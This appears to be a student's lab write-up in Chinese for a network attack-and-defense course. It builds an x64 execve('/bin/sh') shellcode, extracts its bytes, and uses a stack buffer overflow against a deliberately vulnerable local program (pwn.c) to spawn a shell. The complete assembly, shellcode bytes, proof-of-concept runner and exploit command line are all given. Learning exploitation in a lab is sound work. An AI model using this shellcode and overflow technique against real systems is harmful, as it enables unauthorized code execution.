2019-2020-2 网络对抗技术 20175211 Exp1+ 逆向进阶(x64 shellcode制作及利用)
x64与x86的区别
- 64位系统中,不再使用
int 0x80
来进行系统调用,取而代之的是syscall
指令 - x64的栈不支持push64位的立即数,必须先把常量放到寄存器里再push
- x64的CPU的地址为64位,但实际上只支持48位的虚拟地址空间供软件使用。虚拟地址的高16位在用户模式下总是被设置为
0000
,而在内核模式下全置为FFFF
- x64中当你指定一个大于
0x00007fffffffffff
的地址时会抛出一个异常。那也就意味着0x4141414141414141
会抛出异常而0x0000414141414141
是安全的
shellcode制作
流程
- 先使用C这样的高级语言编写程序
- 反汇编以获取汇编指令
- 提取出机器码
编写C程序
我们使用execve()
函数来调用/bin/sh
,先了解一下这个函数
execve(执行文件)在父进程中fork一个子进程,在子进程中调用exec函数启动新的程序。execve()用来执行第一参数字符串所代表的文件路径,第二个参数是利用指针数组来传递给执行文件,并且需要以空指针(NULL)结束,最后一个参数则为传递给执行文件的新环境变量数组。从图中可以,如果通过C语言调用execve来返回shell的话,首先需要引入相应的头文件,然后在主函数中调用系统调用函数execve;同时传入三个参数。
由此编写出如下代码
#include <unistd.h>
#include <stdlib.h>
void main()
{
execve("/bin/sh",NULL,0);
}
为了能够之后能够看到反汇编的结果,这次采用的静态编译
gcc -static -o retsh retsh.c
运行一下看看效果
反汇编
对retsh
反汇编
objdump -d main
继续反汇编execve
发现先把eax
置0x3b
,也就是59
,然后调用syscall
指令,去网上搜索syscall
调用表
LINUX SYSTEM CALL TABLE FOR X86 64
我们用gdb调试一下retsh
,在调用syscall
之前,寄存器的状态如下,与调用表相符
编写汇编代码
我们的目的就很明显了,我直接把最后的汇编代码放出来,好久没写汇编了,也是第一次写x64汇编,有点坑
编写shellcode.asm
section .text
global _start
_start:
xor rdx,rdx ;rdx置0
xor rsi,rsi ;rsi置0
push rdx
mov rax,'/bin//sh'
push rax ;pathname入栈
mov rdi,rsp ;rdi指向栈上字符串
mov eax,0xffffffc5
neg eax ;eax置为0x3b
syscall
坑点1:x64 push
x64栈肯定也是64位的嘛,所以我一开始直接push '/bin//sh'
,刚好64位,但是编译的时候报了溢出的warning,我不明白为什么也就没管,到后面运行的时候就会报段错误,我断点看了一下,栈里面居然是这样的,/bin
和//sh
分开来了,后面还各跟了4个0字节
经过一番搜索,我才知道x64的栈不支持push64位的立即数,必须先把常量放到寄存器里再push
mov rax,'/bin//sh'
push rax ;pathname入栈
坑点2:shellcode中的\x00
shellcode中不可以出现\x00
,所以改eax
的值的时候,不能直接mov eax,0x3b
。一个简单的取反操作就可以解决这个问题
mov eax,0xffffffc5
neg eax ;eax置为0x3b
验证
编译nasm -f elf64 shellcode.asm -F stabs
,-f
指定文件类型,-F
是gdb调试时需要有的信息
链接ld -o shellcode shellcode.o
运行
成功
提取机器码
反汇编一下shellcode
用shell命令提取出机器码
for i in $(objdump -d shellcode | grep "^ " | cut -f2); do echo -n '\x'$i; done; echo
得到\x48\x31\xd2\x48\x31\xf6\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\xb8\xc5\xff\xff\xff\xf7\xd8\x0f\x05
编写poc.c
验证一下
#include <stdio.h>
int main()
{
char shellcode[] = "\x48\x31\xd2\x48\x31\xf6\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\xb8\xc5\xff\xff\xff\xf7\xd8\x0f\x05";
int (*func)();
func = (int(*)()) shellcode;
(int)(*func)();
}
编译gcc poc.c -o poc -z execstack
,注意这里要设置堆栈可执行
运行成功,至此我们制作出了自己的x64shellcode
x64 BOF
漏洞代码
pwn.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int main(int argc, char **argv)
{
char buffer[256];
if(argc != 2)
{
exit(0);
}
printf("%p\n", buffer);
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
return 0;
}
编译gcc pwn.c -o pwn -z execstack -no-pie
,这里要打印出buffer
的基址,要不然我们不知道字符串在栈上的位置
触发bof
首先我们来确认一下确实可以让这个进程崩溃
./pwn $(python -c 'print "A" * 300')
接下来看看我们能否控制rip
。
用gdb单步调试,在调用strcpy
之后,查看一下rsp
,可以看到buffer
是从0x7fffffffdf20
开始的;
段错误时rsp
在0x7fffffffe028
然而,x64中当你指定一个大于0x00007fffffffffff
的地址时会抛出一个异常。那也就意味着0x4141414141414141
会抛出异常而0x0000414141414141
是安全的,所以这次尝试中我们没有成功覆盖rip
控制rip
虽然刚刚没有覆盖成功,但是只要我们控制好字符串长度,应该还是可以控制rip
的。根据刚刚strcpy
后的栈顶和退出程序时的栈顶,可以算出栈上buffer
长度为0x7fffffffe028 - 0x7fffffffdf20 = 0x108
,也就是264
。接下来构造"A"*264 + "B"*6
试试看
gdb
中
run `python -c '"A"*264 + "B"*6'`
rip
成功变成0x424242424242
注入shellcode并getshell
这里栈上空间足够大,我们可以用shellcode + nop + retaddr
的方法注入shellcode
cat|./pwn `python -c 'payload="\x48\x31\xd2\x48\x31\xf6\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\xb8\xc5\xff\xff\xff\xf7\xd8\x0f\x05";print payload+"A"*(264-len(payload)) + "\x7f\xff\xff\xff\xdf\xa0"[::-1]'`
完美完成任务。
注意一下最后的地址要根据pwn
打印出的基址进行调整,因为系统里的环境和gdb中是不一样的。
参考链接
【干货分享】手把手简易实现shellcode及详解
64bit-overflow.pdf
LINUX SYSTEM CALL TABLE FOR X86 64